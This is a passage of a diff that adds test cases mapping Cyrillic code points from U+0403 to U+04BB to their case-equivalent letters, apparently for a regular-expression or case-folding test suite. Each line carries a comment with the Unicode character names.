+test(0x0403, 0x0453); // CYRILLIC CAPITAL LETTER GJE, CYRILLIC SMALL LETTER GJE
+test(0x0404, 0x0454); // CYRILLIC CAPITAL LETTER UKRAINIAN IE (CYRILLIC CAPITAL LETTER E), CYRILLIC SMALL LETTER UKRAINIAN IE (CYRILLIC SMALL LETTER E)
+test(0x0405, 0x0455); // CYRILLIC CAPITAL LETTER DZE, CYRILLIC SMALL LETTER DZE
+test(0x0406, 0x0456); // CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC CAPITAL LETTER I), CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC SMALL LETTER I)
+test(0x0407, 0x0457); // CYRILLIC CAPITAL LETTER YI, CYRILLIC SMALL LETTER YI
+test(0x0408, 0x0458); // CYRILLIC CAPITAL LETTER JE, CYRILLIC SMALL LETTER JE
+test(0x0409, 0x0459); // CYRILLIC CAPITAL LETTER LJE, CYRILLIC SMALL LETTER LJE
+test(0x040A, 0x045A); // CYRILLIC CAPITAL LETTER NJE, CYRILLIC SMALL LETTER NJE
+test(0x040B, 0x045B); // CYRILLIC CAPITAL LETTER TSHE, CYRILLIC SMALL LETTER TSHE
+test(0x040C, 0x045C); // CYRILLIC CAPITAL LETTER KJE, CYRILLIC SMALL LETTER KJE
+test(0x040D, 0x045D); // CYRILLIC CAPITAL LETTER I WITH GRAVE, CYRILLIC SMALL LETTER I WITH GRAVE
+test(0x040E, 0x045E); // CYRILLIC CAPITAL LETTER SHORT U, CYRILLIC SMALL LETTER SHORT U
+test(0x040F, 0x045F); // CYRILLIC CAPITAL LETTER DZHE, CYRILLIC SMALL LETTER DZHE
+test(0x0410, 0x0430); // CYRILLIC CAPITAL LETTER A, CYRILLIC SMALL LETTER A
+test(0x0411, 0x0431); // CYRILLIC CAPITAL LETTER BE, CYRILLIC SMALL LETTER BE
+test(0x0412, 0x0432, 0x1C80); // CYRILLIC CAPITAL LETTER VE, CYRILLIC SMALL LETTER VE, CYRILLIC SMALL LETTER ROUNDED VE
+test(0x0413, 0x0433); // CYRILLIC CAPITAL LETTER GHE (CYRILLIC CAPITAL LETTER GE), CYRILLIC SMALL LETTER GHE (CYRILLIC SMALL LETTER GE)
+test(0x0414, 0x0434, 0x1C81); // CYRILLIC CAPITAL LETTER DE, CYRILLIC SMALL LETTER DE, CYRILLIC SMALL LETTER LONG-LEGGED DE
+test(0x0415, 0x0435); // CYRILLIC CAPITAL LETTER IE, CYRILLIC SMALL LETTER IE
+test(0x0416, 0x0436); // CYRILLIC CAPITAL LETTER ZHE, CYRILLIC SMALL LETTER ZHE
+test(0x0417, 0x0437); // CYRILLIC CAPITAL LETTER ZE, CYRILLIC SMALL LETTER ZE
+test(0x0418, 0x0438); // CYRILLIC CAPITAL LETTER I (CYRILLIC CAPITAL LETTER II), CYRILLIC SMALL LETTER I (CYRILLIC SMALL LETTER II)
+test(0x0419, 0x0439); // CYRILLIC CAPITAL LETTER SHORT I (CYRILLIC CAPITAL LETTER SHORT II), CYRILLIC SMALL LETTER SHORT I (CYRILLIC SMALL LETTER SHORT II)
+test(0x041A, 0x043A); // CYRILLIC CAPITAL LETTER KA, CYRILLIC SMALL LETTER KA
+test(0x041B, 0x043B); // CYRILLIC CAPITAL LETTER EL, CYRILLIC SMALL LETTER EL
+test(0x041C, 0x043C); // CYRILLIC CAPITAL LETTER EM, CYRILLIC SMALL LETTER EM
+test(0x041D, 0x043D); // CYRILLIC CAPITAL LETTER EN, CYRILLIC SMALL LETTER EN
+test(0x041E, 0x043E, 0x1C82); // CYRILLIC CAPITAL LETTER O, CYRILLIC SMALL LETTER O, CYRILLIC SMALL LETTER NARROW O
+test(0x041F, 0x043F); // CYRILLIC CAPITAL LETTER PE, CYRILLIC SMALL LETTER PE
+test(0x0420, 0x0440); // CYRILLIC CAPITAL LETTER ER, CYRILLIC SMALL LETTER ER
+test(0x0421, 0x0441, 0x1C83); // CYRILLIC CAPITAL LETTER ES, CYRILLIC SMALL LETTER ES, CYRILLIC SMALL LETTER WIDE ES
+test(0x0422, 0x0442, 0x1C84, 0x1C85); // CYRILLIC CAPITAL LETTER TE, CYRILLIC SMALL LETTER TE, CYRILLIC SMALL LETTER TALL TE, CYRILLIC SMALL LETTER THREE-LEGGED TE
+test(0x0423, 0x0443); // CYRILLIC CAPITAL LETTER U, CYRILLIC SMALL LETTER U
+test(0x0424, 0x0444); // CYRILLIC CAPITAL LETTER EF, CYRILLIC SMALL LETTER EF
+test(0x0425, 0x0445); // CYRILLIC CAPITAL LETTER HA (CYRILLIC CAPITAL LETTER KHA), CYRILLIC SMALL LETTER HA (CYRILLIC SMALL LETTER KHA)
+test(0x0426, 0x0446); // CYRILLIC CAPITAL LETTER TSE, CYRILLIC SMALL LETTER TSE
+test(0x0427, 0x0447); // CYRILLIC CAPITAL LETTER CHE, CYRILLIC SMALL LETTER CHE
+test(0x0428, 0x0448); // CYRILLIC CAPITAL LETTER SHA, CYRILLIC SMALL LETTER SHA
+test(0x0429, 0x0449); // CYRILLIC CAPITAL LETTER SHCHA, CYRILLIC SMALL LETTER SHCHA
+test(0x042A, 0x044A, 0x1C86); // CYRILLIC CAPITAL LETTER HARD SIGN, CYRILLIC SMALL LETTER HARD SIGN, CYRILLIC SMALL LETTER TALL HARD SIGN
+test(0x042B, 0x044B); // CYRILLIC CAPITAL LETTER YERU (CYRILLIC CAPITAL LETTER YERI), CYRILLIC SMALL LETTER YERU (CYRILLIC SMALL LETTER YERI)
+test(0x042C, 0x044C); // CYRILLIC CAPITAL LETTER SOFT SIGN, CYRILLIC SMALL LETTER SOFT SIGN
+test(0x042D, 0x044D); // CYRILLIC CAPITAL LETTER E (CYRILLIC CAPITAL LETTER REVERSED E), CYRILLIC SMALL LETTER E (CYRILLIC SMALL LETTER REVERSED E)
+test(0x042E, 0x044E); // CYRILLIC CAPITAL LETTER YU (CYRILLIC CAPITAL LETTER IU), CYRILLIC SMALL LETTER YU (CYRILLIC SMALL LETTER IU)
+test(0x042F, 0x044F); // CYRILLIC CAPITAL LETTER YA (CYRILLIC CAPITAL LETTER IA), CYRILLIC SMALL LETTER YA (CYRILLIC SMALL LETTER IA)
+test(0x0430, 0x0410); // CYRILLIC SMALL LETTER A, CYRILLIC CAPITAL LETTER A
+test(0x0431, 0x0411); // CYRILLIC SMALL LETTER BE, CYRILLIC CAPITAL LETTER BE
+test(0x0432, 0x0412, 0x1C80); // CYRILLIC SMALL LETTER VE, CYRILLIC CAPITAL LETTER VE, CYRILLIC SMALL LETTER ROUNDED VE
+test(0x0433, 0x0413); // CYRILLIC SMALL LETTER GHE (CYRILLIC SMALL LETTER GE), CYRILLIC CAPITAL LETTER GHE (CYRILLIC CAPITAL LETTER GE)
+test(0x0434, 0x0414, 0x1C81); // CYRILLIC SMALL LETTER DE, CYRILLIC CAPITAL LETTER DE, CYRILLIC SMALL LETTER LONG-LEGGED DE
+test(0x0435, 0x0415); // CYRILLIC SMALL LETTER IE, CYRILLIC CAPITAL LETTER IE
+test(0x0436, 0x0416); // CYRILLIC SMALL LETTER ZHE, CYRILLIC CAPITAL LETTER ZHE
+test(0x0437, 0x0417); // CYRILLIC SMALL LETTER ZE, CYRILLIC CAPITAL LETTER ZE
+test(0x0438, 0x0418); // CYRILLIC SMALL LETTER I (CYRILLIC SMALL LETTER II), CYRILLIC CAPITAL LETTER I (CYRILLIC CAPITAL LETTER II)
+test(0x0439, 0x0419); // CYRILLIC SMALL LETTER SHORT I (CYRILLIC SMALL LETTER SHORT II), CYRILLIC CAPITAL LETTER SHORT I (CYRILLIC CAPITAL LETTER SHORT II)
+test(0x043A, 0x041A); // CYRILLIC SMALL LETTER KA, CYRILLIC CAPITAL LETTER KA
+test(0x043B, 0x041B); // CYRILLIC SMALL LETTER EL, CYRILLIC CAPITAL LETTER EL
+test(0x043C, 0x041C); // CYRILLIC SMALL LETTER EM, CYRILLIC CAPITAL LETTER EM
+test(0x043D, 0x041D); // CYRILLIC SMALL LETTER EN, CYRILLIC CAPITAL LETTER EN
+test(0x043E, 0x041E, 0x1C82); // CYRILLIC SMALL LETTER O, CYRILLIC CAPITAL LETTER O, CYRILLIC SMALL LETTER NARROW O
+test(0x043F, 0x041F); // CYRILLIC SMALL LETTER PE, CYRILLIC CAPITAL LETTER PE
+test(0x0440, 0x0420); // CYRILLIC SMALL LETTER ER, CYRILLIC CAPITAL LETTER ER
+test(0x0441, 0x0421, 0x1C83); // CYRILLIC SMALL LETTER ES, CYRILLIC CAPITAL LETTER ES, CYRILLIC SMALL LETTER WIDE ES
+test(0x0442, 0x0422, 0x1C84, 0x1C85); // CYRILLIC SMALL LETTER TE, CYRILLIC CAPITAL LETTER TE, CYRILLIC SMALL LETTER TALL TE, CYRILLIC SMALL LETTER THREE-LEGGED TE
+test(0x0443, 0x0423); // CYRILLIC SMALL LETTER U, CYRILLIC CAPITAL LETTER U
+test(0x0444, 0x0424); // CYRILLIC SMALL LETTER EF, CYRILLIC CAPITAL LETTER EF
+test(0x0445, 0x0425); // CYRILLIC SMALL LETTER HA (CYRILLIC SMALL LETTER KHA), CYRILLIC CAPITAL LETTER HA (CYRILLIC CAPITAL LETTER KHA)
+test(0x0446, 0x0426); // CYRILLIC SMALL LETTER TSE, CYRILLIC CAPITAL LETTER TSE
+test(0x0447, 0x0427); // CYRILLIC SMALL LETTER CHE, CYRILLIC CAPITAL LETTER CHE
+test(0x0448, 0x0428); // CYRILLIC SMALL LETTER SHA, CYRILLIC CAPITAL LETTER SHA
+test(0x0449, 0x0429); // CYRILLIC SMALL LETTER SHCHA, CYRILLIC CAPITAL LETTER SHCHA
+test(0x044A, 0x042A, 0x1C86); // CYRILLIC SMALL LETTER HARD SIGN, CYRILLIC CAPITAL LETTER HARD SIGN, CYRILLIC SMALL LETTER TALL HARD SIGN
+test(0x044B, 0x042B); // CYRILLIC SMALL LETTER YERU (CYRILLIC SMALL LETTER YERI), CYRILLIC CAPITAL LETTER YERU (CYRILLIC CAPITAL LETTER YERI)
+test(0x044C, 0x042C); // CYRILLIC SMALL LETTER SOFT SIGN, CYRILLIC CAPITAL LETTER SOFT SIGN
+test(0x044D, 0x042D); // CYRILLIC SMALL LETTER E (CYRILLIC SMALL LETTER REVERSED E), CYRILLIC CAPITAL LETTER E (CYRILLIC CAPITAL LETTER REVERSED E)
+test(0x044E, 0x042E); // CYRILLIC SMALL LETTER YU (CYRILLIC SMALL LETTER IU), CYRILLIC CAPITAL LETTER YU (CYRILLIC CAPITAL LETTER IU)
+test(0x044F, 0x042F); // CYRILLIC SMALL LETTER YA (CYRILLIC SMALL LETTER IA), CYRILLIC CAPITAL LETTER YA (CYRILLIC CAPITAL LETTER IA)
+test(0x0450, 0x0400); // CYRILLIC SMALL LETTER IE WITH GRAVE, CYRILLIC CAPITAL LETTER IE WITH GRAVE
+test(0x0451, 0x0401); // CYRILLIC SMALL LETTER IO, CYRILLIC CAPITAL LETTER IO
+test(0x0452, 0x0402); // CYRILLIC SMALL LETTER DJE, CYRILLIC CAPITAL LETTER DJE
+test(0x0453, 0x0403); // CYRILLIC SMALL LETTER GJE, CYRILLIC CAPITAL LETTER GJE
+test(0x0454, 0x0404); // CYRILLIC SMALL LETTER UKRAINIAN IE (CYRILLIC SMALL LETTER E), CYRILLIC CAPITAL LETTER UKRAINIAN IE (CYRILLIC CAPITAL LETTER E)
+test(0x0455, 0x0405); // CYRILLIC SMALL LETTER DZE, CYRILLIC CAPITAL LETTER DZE
+test(0x0456, 0x0406); // CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC SMALL LETTER I), CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC CAPITAL LETTER I)
+test(0x0457, 0x0407); // CYRILLIC SMALL LETTER YI, CYRILLIC CAPITAL LETTER YI
+test(0x0458, 0x0408); // CYRILLIC SMALL LETTER JE, CYRILLIC CAPITAL LETTER JE
+test(0x0459, 0x0409); // CYRILLIC SMALL LETTER LJE, CYRILLIC CAPITAL LETTER LJE
+test(0x045A, 0x040A); // CYRILLIC SMALL LETTER NJE, CYRILLIC CAPITAL LETTER NJE
+test(0x045B, 0x040B); // CYRILLIC SMALL LETTER TSHE, CYRILLIC CAPITAL LETTER TSHE
+test(0x045C, 0x040C); // CYRILLIC SMALL LETTER KJE, CYRILLIC CAPITAL LETTER KJE
+test(0x045D, 0x040D); // CYRILLIC SMALL LETTER I WITH GRAVE, CYRILLIC CAPITAL LETTER I WITH GRAVE
+test(0x045E, 0x040E); // CYRILLIC SMALL LETTER SHORT U, CYRILLIC CAPITAL LETTER SHORT U
+test(0x045F, 0x040F); // CYRILLIC SMALL LETTER DZHE, CYRILLIC CAPITAL LETTER DZHE
+test(0x0460, 0x0461); // CYRILLIC CAPITAL LETTER OMEGA, CYRILLIC SMALL LETTER OMEGA
+test(0x0461, 0x0460); // CYRILLIC SMALL LETTER OMEGA, CYRILLIC CAPITAL LETTER OMEGA
+test(0x0462, 0x0463, 0x1C87); // CYRILLIC CAPITAL LETTER YAT, CYRILLIC SMALL LETTER YAT, CYRILLIC SMALL LETTER TALL YAT
+test(0x0463, 0x0462, 0x1C87); // CYRILLIC SMALL LETTER YAT, CYRILLIC CAPITAL LETTER YAT, CYRILLIC SMALL LETTER TALL YAT
+test(0x0464, 0x0465); // CYRILLIC CAPITAL LETTER IOTIFIED E, CYRILLIC SMALL LETTER IOTIFIED E
+test(0x0465, 0x0464); // CYRILLIC SMALL LETTER IOTIFIED E, CYRILLIC CAPITAL LETTER IOTIFIED E
+test(0x0466, 0x0467); // CYRILLIC CAPITAL LETTER LITTLE YUS, CYRILLIC SMALL LETTER LITTLE YUS
+test(0x0467, 0x0466); // CYRILLIC SMALL LETTER LITTLE YUS, CYRILLIC CAPITAL LETTER LITTLE YUS
+test(0x0468, 0x0469); // CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS, CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS
+test(0x0469, 0x0468); // CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS, CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS
+test(0x046A, 0x046B); // CYRILLIC CAPITAL LETTER BIG YUS, CYRILLIC SMALL LETTER BIG YUS
+test(0x046B, 0x046A); // CYRILLIC SMALL LETTER BIG YUS, CYRILLIC CAPITAL LETTER BIG YUS
+test(0x046C, 0x046D); // CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS, CYRILLIC SMALL LETTER IOTIFIED BIG YUS
+test(0x046D, 0x046C); // CYRILLIC SMALL LETTER IOTIFIED BIG YUS, CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS
+test(0x046E, 0x046F); // CYRILLIC CAPITAL LETTER KSI, CYRILLIC SMALL LETTER KSI
+test(0x046F, 0x046E); // CYRILLIC SMALL LETTER KSI, CYRILLIC CAPITAL LETTER KSI
+test(0x0470, 0x0471); // CYRILLIC CAPITAL LETTER PSI, CYRILLIC SMALL LETTER PSI
+test(0x0471, 0x0470); // CYRILLIC SMALL LETTER PSI, CYRILLIC CAPITAL LETTER PSI
+test(0x0472, 0x0473); // CYRILLIC CAPITAL LETTER FITA, CYRILLIC SMALL LETTER FITA
+test(0x0473, 0x0472); // CYRILLIC SMALL LETTER FITA, CYRILLIC CAPITAL LETTER FITA
+test(0x0474, 0x0475); // CYRILLIC CAPITAL LETTER IZHITSA, CYRILLIC SMALL LETTER IZHITSA
+test(0x0475, 0x0474); // CYRILLIC SMALL LETTER IZHITSA, CYRILLIC CAPITAL LETTER IZHITSA
+test(0x0476, 0x0477); // CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC CAPITAL LETTER IZHITSA DOUBLE GRAVE), CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC SMALL LETTER IZHITSA DOUBLE GRAVE)
+test(0x0477, 0x0476); // CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC SMALL LETTER IZHITSA DOUBLE GRAVE), CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC CAPITAL LETTER IZHITSA DOUBLE GRAVE)
+test(0x0478, 0x0479); // CYRILLIC CAPITAL LETTER UK (CYRILLIC CAPITAL LETTER UK DIGRAPH), CYRILLIC SMALL LETTER UK (CYRILLIC SMALL LETTER UK DIGRAPH)
+test(0x0479, 0x0478); // CYRILLIC SMALL LETTER UK (CYRILLIC SMALL LETTER UK DIGRAPH), CYRILLIC CAPITAL LETTER UK (CYRILLIC CAPITAL LETTER UK DIGRAPH)
+test(0x047A, 0x047B); // CYRILLIC CAPITAL LETTER ROUND OMEGA, CYRILLIC SMALL LETTER ROUND OMEGA
+test(0x047B, 0x047A); // CYRILLIC SMALL LETTER ROUND OMEGA, CYRILLIC CAPITAL LETTER ROUND OMEGA
+test(0x047C, 0x047D); // CYRILLIC CAPITAL LETTER OMEGA WITH TITLO (CYRILLIC CAPITAL LETTER OMEGA TITLO), CYRILLIC SMALL LETTER OMEGA WITH TITLO (CYRILLIC SMALL LETTER OMEGA TITLO)
+test(0x047D, 0x047C); // CYRILLIC SMALL LETTER OMEGA WITH TITLO (CYRILLIC SMALL LETTER OMEGA TITLO), CYRILLIC CAPITAL LETTER OMEGA WITH TITLO (CYRILLIC CAPITAL LETTER OMEGA TITLO)
+test(0x047E, 0x047F); // CYRILLIC CAPITAL LETTER OT, CYRILLIC SMALL LETTER OT
+test(0x047F, 0x047E); // CYRILLIC SMALL LETTER OT, CYRILLIC CAPITAL LETTER OT
+test(0x0480, 0x0481); // CYRILLIC CAPITAL LETTER KOPPA, CYRILLIC SMALL LETTER KOPPA
+test(0x0481, 0x0480); // CYRILLIC SMALL LETTER KOPPA, CYRILLIC CAPITAL LETTER KOPPA
+test(0x048A, 0x048B); // CYRILLIC CAPITAL LETTER SHORT I WITH TAIL, CYRILLIC SMALL LETTER SHORT I WITH TAIL
+test(0x048B, 0x048A); // CYRILLIC SMALL LETTER SHORT I WITH TAIL, CYRILLIC CAPITAL LETTER SHORT I WITH TAIL
+test(0x048C, 0x048D); // CYRILLIC CAPITAL LETTER SEMISOFT SIGN, CYRILLIC SMALL LETTER SEMISOFT SIGN
+test(0x048D, 0x048C); // CYRILLIC SMALL LETTER SEMISOFT SIGN, CYRILLIC CAPITAL LETTER SEMISOFT SIGN
+test(0x048E, 0x048F); // CYRILLIC CAPITAL LETTER ER WITH TICK, CYRILLIC SMALL LETTER ER WITH TICK
+test(0x048F, 0x048E); // CYRILLIC SMALL LETTER ER WITH TICK, CYRILLIC CAPITAL LETTER ER WITH TICK
+test(0x0490, 0x0491); // CYRILLIC CAPITAL LETTER GHE WITH UPTURN (CYRILLIC CAPITAL LETTER GE WITH UPTURN), CYRILLIC SMALL LETTER GHE WITH UPTURN (CYRILLIC SMALL LETTER GE WITH UPTURN)
+test(0x0491, 0x0490); // CYRILLIC SMALL LETTER GHE WITH UPTURN (CYRILLIC SMALL LETTER GE WITH UPTURN), CYRILLIC CAPITAL LETTER GHE WITH UPTURN (CYRILLIC CAPITAL LETTER GE WITH UPTURN)
+test(0x0492, 0x0493); // CYRILLIC CAPITAL LETTER GHE WITH STROKE (CYRILLIC CAPITAL LETTER GE BAR), CYRILLIC SMALL LETTER GHE WITH STROKE (CYRILLIC SMALL LETTER GE BAR)
+test(0x0493, 0x0492); // CYRILLIC SMALL LETTER GHE WITH STROKE (CYRILLIC SMALL LETTER GE BAR), CYRILLIC CAPITAL LETTER GHE WITH STROKE (CYRILLIC CAPITAL LETTER GE BAR)
+test(0x0494, 0x0495); // CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER GE HOOK), CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER GE HOOK)
+test(0x0495, 0x0494); // CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER GE HOOK), CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER GE HOOK)
+test(0x0496, 0x0497); // CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZHE WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER ZHE WITH DESCENDER (CYRILLIC SMALL LETTER ZHE WITH RIGHT DESCENDER)
+test(0x0497, 0x0496); // CYRILLIC SMALL LETTER ZHE WITH DESCENDER (CYRILLIC SMALL LETTER ZHE WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZHE WITH RIGHT DESCENDER)
+test(0x0498, 0x0499); // CYRILLIC CAPITAL LETTER ZE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZE CEDILLA), CYRILLIC SMALL LETTER ZE WITH DESCENDER (CYRILLIC SMALL LETTER ZE CEDILLA)
+test(0x0499, 0x0498); // CYRILLIC SMALL LETTER ZE WITH DESCENDER (CYRILLIC SMALL LETTER ZE CEDILLA), CYRILLIC CAPITAL LETTER ZE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZE CEDILLA)
+test(0x049A, 0x049B); // CYRILLIC CAPITAL LETTER KA WITH DESCENDER (CYRILLIC CAPITAL LETTER KA WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER KA WITH DESCENDER (CYRILLIC SMALL LETTER KA WITH RIGHT DESCENDER)
+test(0x049B, 0x049A); // CYRILLIC SMALL LETTER KA WITH DESCENDER (CYRILLIC SMALL LETTER KA WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER KA WITH DESCENDER (CYRILLIC CAPITAL LETTER KA WITH RIGHT DESCENDER)
+test(0x049C, 0x049D); // CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER KA VERTICAL BAR), CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE (CYRILLIC SMALL LETTER KA VERTICAL BAR)
+test(0x049D, 0x049C); // CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE (CYRILLIC SMALL LETTER KA VERTICAL BAR), CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER KA VERTICAL BAR)
+test(0x049E, 0x049F); // CYRILLIC CAPITAL LETTER KA WITH STROKE (CYRILLIC CAPITAL LETTER KA BAR), CYRILLIC SMALL LETTER KA WITH STROKE (CYRILLIC SMALL LETTER KA BAR)
+test(0x049F, 0x049E); // CYRILLIC SMALL LETTER KA WITH STROKE (CYRILLIC SMALL LETTER KA BAR), CYRILLIC CAPITAL LETTER KA WITH STROKE (CYRILLIC CAPITAL LETTER KA BAR)
+test(0x04A0, 0x04A1); // CYRILLIC CAPITAL LETTER BASHKIR KA (CYRILLIC CAPITAL LETTER REVERSED GE KA), CYRILLIC SMALL LETTER BASHKIR KA (CYRILLIC SMALL LETTER REVERSED GE KA)
+test(0x04A1, 0x04A0); // CYRILLIC SMALL LETTER BASHKIR KA (CYRILLIC SMALL LETTER REVERSED GE KA), CYRILLIC CAPITAL LETTER BASHKIR KA (CYRILLIC CAPITAL LETTER REVERSED GE KA)
+test(0x04A2, 0x04A3); // CYRILLIC CAPITAL LETTER EN WITH DESCENDER (CYRILLIC CAPITAL LETTER EN WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER EN WITH DESCENDER (CYRILLIC SMALL LETTER EN WITH RIGHT DESCENDER)
+test(0x04A3, 0x04A2); // CYRILLIC SMALL LETTER EN WITH DESCENDER (CYRILLIC SMALL LETTER EN WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER EN WITH DESCENDER (CYRILLIC CAPITAL LETTER EN WITH RIGHT DESCENDER)
+test(0x04A4, 0x04A5); // CYRILLIC CAPITAL LIGATURE EN GHE (CYRILLIC CAPITAL LETTER EN GE), CYRILLIC SMALL LIGATURE EN GHE (CYRILLIC SMALL LETTER EN GE)
+test(0x04A5, 0x04A4); // CYRILLIC SMALL LIGATURE EN GHE (CYRILLIC SMALL LETTER EN GE), CYRILLIC CAPITAL LIGATURE EN GHE (CYRILLIC CAPITAL LETTER EN GE)
+test(0x04A6, 0x04A7); // CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER PE HOOK), CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER PE HOOK)
+test(0x04A7, 0x04A6); // CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER PE HOOK), CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER PE HOOK)
+test(0x04A8, 0x04A9); // CYRILLIC CAPITAL LETTER ABKHASIAN HA (CYRILLIC CAPITAL LETTER O HOOK), CYRILLIC SMALL LETTER ABKHASIAN HA (CYRILLIC SMALL LETTER O HOOK)
+test(0x04A9, 0x04A8); // CYRILLIC SMALL LETTER ABKHASIAN HA (CYRILLIC SMALL LETTER O HOOK), CYRILLIC CAPITAL LETTER ABKHASIAN HA (CYRILLIC CAPITAL LETTER O HOOK)
+test(0x04AA, 0x04AB); // CYRILLIC CAPITAL LETTER ES WITH DESCENDER (CYRILLIC CAPITAL LETTER ES CEDILLA), CYRILLIC SMALL LETTER ES WITH DESCENDER (CYRILLIC SMALL LETTER ES CEDILLA)
+test(0x04AB, 0x04AA); // CYRILLIC SMALL LETTER ES WITH DESCENDER (CYRILLIC SMALL LETTER ES CEDILLA), CYRILLIC CAPITAL LETTER ES WITH DESCENDER (CYRILLIC CAPITAL LETTER ES CEDILLA)
+test(0x04AC, 0x04AD); // CYRILLIC CAPITAL LETTER TE WITH DESCENDER (CYRILLIC CAPITAL LETTER TE WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER TE WITH DESCENDER (CYRILLIC SMALL LETTER TE WITH RIGHT DESCENDER)
+test(0x04AD, 0x04AC); // CYRILLIC SMALL LETTER TE WITH DESCENDER (CYRILLIC SMALL LETTER TE WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER TE WITH DESCENDER (CYRILLIC CAPITAL LETTER TE WITH RIGHT DESCENDER)
+test(0x04AE, 0x04AF); // CYRILLIC CAPITAL LETTER STRAIGHT U, CYRILLIC SMALL LETTER STRAIGHT U
+test(0x04AF, 0x04AE); // CYRILLIC SMALL LETTER STRAIGHT U, CYRILLIC CAPITAL LETTER STRAIGHT U
+test(0x04B0, 0x04B1); // CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE (CYRILLIC CAPITAL LETTER STRAIGHT U BAR), CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE (CYRILLIC SMALL LETTER STRAIGHT U BAR)
+test(0x04B1, 0x04B0); // CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE (CYRILLIC SMALL LETTER STRAIGHT U BAR), CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE (CYRILLIC CAPITAL LETTER STRAIGHT U BAR)
+test(0x04B2, 0x04B3); // CYRILLIC CAPITAL LETTER HA WITH DESCENDER (CYRILLIC CAPITAL LETTER KHA WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER HA WITH DESCENDER (CYRILLIC SMALL LETTER KHA WITH RIGHT DESCENDER)
+test(0x04B3, 0x04B2); // CYRILLIC SMALL LETTER HA WITH DESCENDER (CYRILLIC SMALL LETTER KHA WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER HA WITH DESCENDER (CYRILLIC CAPITAL LETTER KHA WITH RIGHT DESCENDER)
+test(0x04B4, 0x04B5); // CYRILLIC CAPITAL LIGATURE TE TSE (CYRILLIC CAPITAL LETTER TE TSE), CYRILLIC SMALL LIGATURE TE TSE (CYRILLIC SMALL LETTER TE TSE)
+test(0x04B5, 0x04B4); // CYRILLIC SMALL LIGATURE TE TSE (CYRILLIC SMALL LETTER TE TSE), CYRILLIC CAPITAL LIGATURE TE TSE (CYRILLIC CAPITAL LETTER TE TSE)
+test(0x04B6, 0x04B7); // CYRILLIC CAPITAL LETTER CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER CHE WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER CHE WITH DESCENDER (CYRILLIC SMALL LETTER CHE WITH RIGHT DESCENDER)
+test(0x04B7, 0x04B6); // CYRILLIC SMALL LETTER CHE WITH DESCENDER (CYRILLIC SMALL LETTER CHE WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER CHE WITH RIGHT DESCENDER)
+test(0x04B8, 0x04B9); // CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER CHE VERTICAL BAR), CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE (CYRILLIC SMALL LETTER CHE VERTICAL BAR)
+test(0x04B9, 0x04B8); // CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE (CYRILLIC SMALL LETTER CHE VERTICAL BAR), CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER CHE VERTICAL BAR)
+test(0x04BA, 0x04BB); // CYRILLIC CAPITAL LETTER SHHA (CYRILLIC CAPITAL LETTER H), CYRILLIC SMALL LETTER SHHA (CYRILLIC SMALL LETTER H)
+test(0x04BB, 0x04BA); // CYRILLIC SMALL LETTER SHHA (CYRILLIC SMALL LETTER H), CYRILLIC CAPITAL LETTER SHHA (CYRILLIC CAPITAL LETTER H)
